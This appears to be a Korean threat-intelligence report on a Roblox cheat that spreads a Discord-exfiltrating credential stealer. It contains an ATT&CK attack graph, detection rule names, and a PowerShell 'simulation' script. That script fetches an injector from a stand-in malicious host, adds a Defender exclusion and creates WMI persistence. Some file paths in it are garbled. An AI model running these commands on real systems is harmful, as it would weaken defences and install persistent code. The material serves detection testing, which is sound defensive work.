AI 기반 로블록스 치트, 유타/솔라라 스틸러 전파
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
악성 Roblox 치트 패키지가 트로이화된 .NET 인터페이스와 PyInstaller로 번들된 Python 스틸러를 결합합니다. 초기 로더가 Microsoft Defender 보호를 약화시키고, MediaFire에서 2단계 페이로드를 가져와 자격 증명, 쿠키, 지갑 파일 및 게임 관련 자산을 수집하기 위해 Glove Stealer에서 파생된 멀웨어를 시작합니다. 도난당한 데이터는 암호화된 Discord 웹훅을 통해 유출되며 지속적인 Discord 봇 RAT에 의해 지원됩니다.
조사
보고서에는 PyInstaller 페이로드 추출, Python 3.12 바이트 코드 역컴파일 및 자격 증명 도용 워크플로우 맵핑을 포함한 악성코드에 대한 심층적인 정적 분석이 포함되어 있습니다. 또한, 다단계 실행 체인, 운영자들이 사용하는 방어 회피 방법 및 Chrome 앱 바운드 암호화 보호를 목표로 하는 5층 우회 접근법이 개요 되어 있습니다.
완화
조직은 알 수 없는 서명되지 않은 바이너리 실행을 차단하고, 엄격한 애플리케이션 허용 목록을 적용하며, Defender 제외 사항의 변경 및 의심스러운 PowerShell 사용을 모니터링하고, Pastebin에서 구성 데이터의 비정상적인 다운로드를 탐지해야 합니다. Discord 웹훅 트래픽은 제한하거나 면밀히 모니터링해야 하며 수비수들은 디버거 관련 플래그를 사용하는 비정상적인 Chrome 실행을 주시해야 합니다.
대응
보안팀은 생성된 것을 경고해야 합니다 winupdate.exe AppData 캐시 내/의심스러운 레지스트리 Run 키 수정, 예약 작업 생성 및 비정상적인 Discord 채널 활동. 악성 파일은 격리되고, 승인되지 않은 Defender 제외는 제거되며, 수집된 자격 증명 저장소에 대한 포렌식 수집이 수행되어야 합니다.
"graph TB %% 클래스 정의 classDef action fill:#99ccff classDef technique fill:#ffdd99 classDef tool fill:#cccccc classDef process fill:#bbffbb classDef persistence fill:#ff99cc %% 노드 정의 action_user_execution["<b>행동</b> – <b>T1204.002 사용자 실행</b><br/>피해자가 Roblox 치트 도구로 가장된 트로이화된 WPF 실행기를 실행합니다."] class action_user_execution action technique_impair_defenses["<b>기법</b> – <b>T1562.001 방어 약화: 도구 비활성화 또는 수정</b><br/>현재 디렉토리를 PowerShell을 통해 Windows Defender 제외 목록에 추가하고 AMSI/ETW 함수를 패치합니다."] class technique_impair_defenses technique tool_powershell["<b>도구</b><br/>Defender 제외를 수정하고 AMSI/ETW를 패치하는 데 사용된 PowerShell 스크립트."] class tool_powershell tool technique_bypass_uac["<b>기법</b> – <b>T1548.002 권한 상승 통제 악용: UAC 우회</b><br/>HKCUSoftwareClassesms-settingsShellOpencommand을 납치하고 fodhelper.exe/computerdefaults.exe를 실행하여 높은 무결성 실행을 얻습니다."] class technique_bypass_uac technique tool_fodhelper["<b>도구</b><br/>UAC 우회에 사용된 fodhelper.exe."] class tool_fodhelper tool technique_dead_drop["<b>기법</b> – <b>T1102.001 웹 서비스: Dead Drop Resolver</b><br/>Pastebin URL에서 XOR로 암호화된 구성을 검색하고 MediaFire 다운로드 링크를 해결합니다."] class technique_dead_drop technique technique_ingress_tool["<b>기법</b> – <b>T1105 도구 전송 입구</b><br/>MediaFire에서 2차 PyInstaller로 패키지된 Python 스틸러(winupdate.exe)를 다운로드하여 숨김 및 시스템 속성이 설정된 %APPDATA%.cachewinupdate.exe에 저장합니다."] class technique_ingress_tool technique process_secondary_payload["<b>과정</b><br/>winupdate.exe(Python 스틸러입니다)"] class process_secondary_payload process technique_cred_browser["<b>기법</b> – <b>T1555.003 웹 브라우저에서 자격 증명</b><br/>디버거 중단점, COM 상승, 이중 DPAPI, DLL 주입, UAC 레지스트리 납치를 통한 다단계 Chrome 앱 바운드 암호화 우회하여 복호화된 쿠키, 토큰 및 암호를 획득합니다."] class technique_cred_browser technique technique_keylogging["<b>기법</b> – <b>T1056.001 입력 캡처: 키로깅</b><br/>키 입력을 캡처하기 위해 낮은 수준의 WH_KEYBOARD_LL 훅을 설치합니다."] class technique_keylogging technique technique_archive["<b>기법</b> – <b>T1560.003 사용자 정의 방법을 통해 아카이브</b><br/>도난당한 파일을 메모리 내의 ZIP으로 패키징하고 425MB 이하의 조각으로 나누어 집니다."] class technique_archive technique technique_exfiltration["<b>기법</b> – <b>T1041 C2 채널을 통한 유출</b><br/>프래그먼트를 Discord 웹훅 URL로 전송합니다."] class technique_exfiltration technique tool_discord_webhook["<b>도구</b><br/>데이터 유출에 사용된 Discord 웹훅."] class tool_discord_webhook tool technique_discord_rath["<b>기법</b> – <b>Discord 봇 RAT</b><br/>복호화된 Discord 봇 토큰 및 채널 ID를 사용하여 원격 명령(쉘, 웹캠, 추적 등)을 수신합니다."] class technique_discord_rath technique technique_persistence["<b>기법</b> – <b>T1547.001 부팅/로그온 자동 시작 실행</b><br/>스케줄된 작업, HKCU Run 키, 시작 VBS 스크립트, COM 납치, PowerShell 프로필 항목, WMI 이벤트 구독을 생성하여 재부팅 후 페이로드를 다시 시작합니다."] class technique_persistence persistence technique_dynamic_resolution["<b>기법</b> – <b>T1568 동적 해상도</b><br/>C2 엔드 포인트를 조정하기 위해 Pastebin에서 주기적으로 구성을 다시 가져옵니다."] class technique_dynamic_resolution technique %% 연결 action_user_execution –>|트리거| technique_impair_defenses technique_impair_defenses –>|사용| tool_powershell technique_impair_defenses –>|사용 가능| technique_bypass_uac technique_bypass_uac –>|사용| tool_fodhelper technique_bypass_uac –>|리드 투| technique_dead_drop technique_dead_drop –>|검색| technique_ingress_tool technique_ingress_tool –>|저장 및 실행| process_secondary_payload process_secondary_payload –>|실행| technique_cred_browser process_secondary_payload –>|실행| technique_keylogging process_secondary_payload –>|데이터 수집| technique_archive technique_archive –>|데이터 준비| technique_exfiltration technique_exfiltration –>|전송 대상| tool_discord_webhook tool_discord_webhook –>|피드| technique_discord_rath technique_discord_rath –>|명령 채널 유지| technique_persistence technique_persistence –>|설립| persistence_mechanisms persistence_mechanisms["<b>과정</b><br/>스케줄된 작업 / 런 키 / VBS / COM 납치 / PowerShell 프로필 / WMI 이벤트"] class persistence_mechanisms process technique_persistence –>|지원| technique_dynamic_resolution technique_dynamic_resolution –>|업데이트| technique_dead_drop "
공격 흐름
탐지
지속 가능성 가능 지점(ASEP – 소프트웨어/NTUSER Hive) (레지스트리 이벤트를 통해)
보기
LOLBAS WScript / CScript (프로세스 생성 통해)
보기
의심스러운 Defender 제외 수정 (cmdline 통해)
보기
자동 시작 위치의 의심스러운 바이너리 / 스크립트 (파일 이벤트 통해)
보기
Pastebin 도메인 통신 시도 의심스러운 (프록시 통해)
보기
탐지용 IOC (HashSha256): AI 지원 치트 및 도난 비밀: Yuta/Solara Roblox 스틸러의 해체
보기
Roblox 스틸러에서의 활성 메모리 패치 탐지 [Windows Sysmon]
보기
PowerShell 기반 Windows Defender 조작 탐지 [Windows PowerShell]
보기
Roblox 주입 및 Windows Defender 변조 [Windows 프로세스 생성]
보기
모의 실행
전제 조건: 원격 측정 및 기본선 프리 플라이트 검사가 통과해야 합니다.
이유: 이 섹션은 탐지 규칙을 트리거하기 위해 설계된 적대자 기술(TTP)의 정확한 실행을 자세히 설명합니다. 명령 및 설명은 식별된 TTP를 직접 반영해야 하며, 탐지 논리에서 예상한 정확한 원격 측정을 생성하는 것을 목표로 해야 합니다.
-
공격 서사 & 명령어:
- 도구 전송 입구 (T1105): 공격자는 악성 Roblox 실행기를 다운로드합니다 (
SLaunch.exe) 손상된 웹 서버에서. - Defender 변조로 실행 (T1548.002): PowerShell을 사용하여 공격자는
SLaunch.exe을 명령 행과 함께 실행하며,Add-MpPreference -ExclusionPath "C:Roblox"을 실행하여 Roblox 설치 폴더를 화이트리스트에 추가하여 Windows Defender가 주입된 페이로드를 스캔하지 못하게 합니다. - 지속성 (T1546.003 / T1547.001): 시스템 시작 시
SLaunch.exe을 다시 실행하기 위해 WMI 이벤트 구독이 생성됩니다. - 자격 증명 수확 (T1056.001, T1555.003): 인젝터가 실행되는 동안 키 입력을 캡처하고 브라우저 저장소에서 저장된 Roblox 자격 증명을 추출합니다.
- 도구 전송 입구 (T1105): 공격자는 악성 Roblox 실행기를 다운로드합니다 (
-
회귀 테스트 스크립트: 다음 PowerShell 스크립트는 2-3단계를 재현하고 Sigma 규칙이 기대하는 텔레메트리를 생성합니다.
# ------------------------------------------------------------ # Roblox 인젝터 실행 + Defender 제외 (TC 스크립트) # ------------------------------------------------------------ # 경로 (필요시 조정) $injectorPath = "C:TempSLaunch.exe" $defenderExcl = "C:Roblox" # 1. 인젝터가 존재하는지 확인 (다운로드 플레이스홀더) if (-Not (Test-Path $injectorPath)) { Write-Host "악성 인젝터를 다운로드 중..." Invoke-WebRequest -Uri "http://malicious.example.com/SLaunch.exe" -OutFile $injectorPath } # 2. Defender 제외 명령 행으로 인젝터 실행 $cmd = "-run -script `"UpdateSplash.EnsureWindowsDefenderExclusion()`" -Add-MpPreference -ExclusionPath `"$defenderExcl`"" Start-Process -FilePath $injectorPath -ArgumentList $cmd -NoNewWindow # 3. 지속성을 위한 WMI 영구 이벤트 구독 생성 $wmiFilter = @" SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'SLaunch.exe' "@ $filterPath = "ROOTDEFAULT" $filterName = "RobloxInjectorFilter" $consumerName = "RobloxInjectorConsumer" # 필터 등록 $filter = Set-WmiInstance -Namespace $filterPath -Class __EventFilter ` -Arguments @{ Name=$filterName; Query=$wmiFilter; EventNamespace='rootcimv2'; QueryLanguage='WQL' } # 명령 줄 소비자 등록 $consumer = Set-WmiInstance -Namespace $filterPath -Class CommandLineEventConsumer ` -Arguments @{ Name=$consumerName; CommandLineTemplate="`"$injectorPath`"" } # 필터를 소비자에 연결 Set-WmiInstance -Namespace $filterPath -Class __FilterToConsumerBinding ` -Arguments @{ Filter=$filter.__PATH; Consumer=$consumer.__PATH } Write-Host "시뮬레이션 완료 – 탐지 텔레메트리가 생성되어야 합니다." -
정리 명령: Defender 제외 및 위에서 만든 WMI 구독을 제거합니다.
# Defender 제외 제거 Remove-MpPreference -ExclusionPath "C:Roblox" # WMI 필터 및 소비자 삭제 $filterPath = "ROOTDEFAULT" Get-WmiObject -Namespace $filterPath -Class __EventFilter -Filter "Name='RobloxInjectorFilter'" | Remove-WmiObject Get-WmiObject -Namespace $filterPath -Class CommandLineEventConsumer -Filter "Name='RobloxInjectorConsumer'" | Remove-WmiObject Get-WmiObject -Namespace $filterPath -Class __FilterToConsumerBinding ` -Filter "Filter=`"__EventFilter.Name='RobloxInjectorFilter'`"" | Remove-WmiObject # 인젝터 바이너리 삭제 Remove-Item -Path "C:TempSLaunch.exe" -Force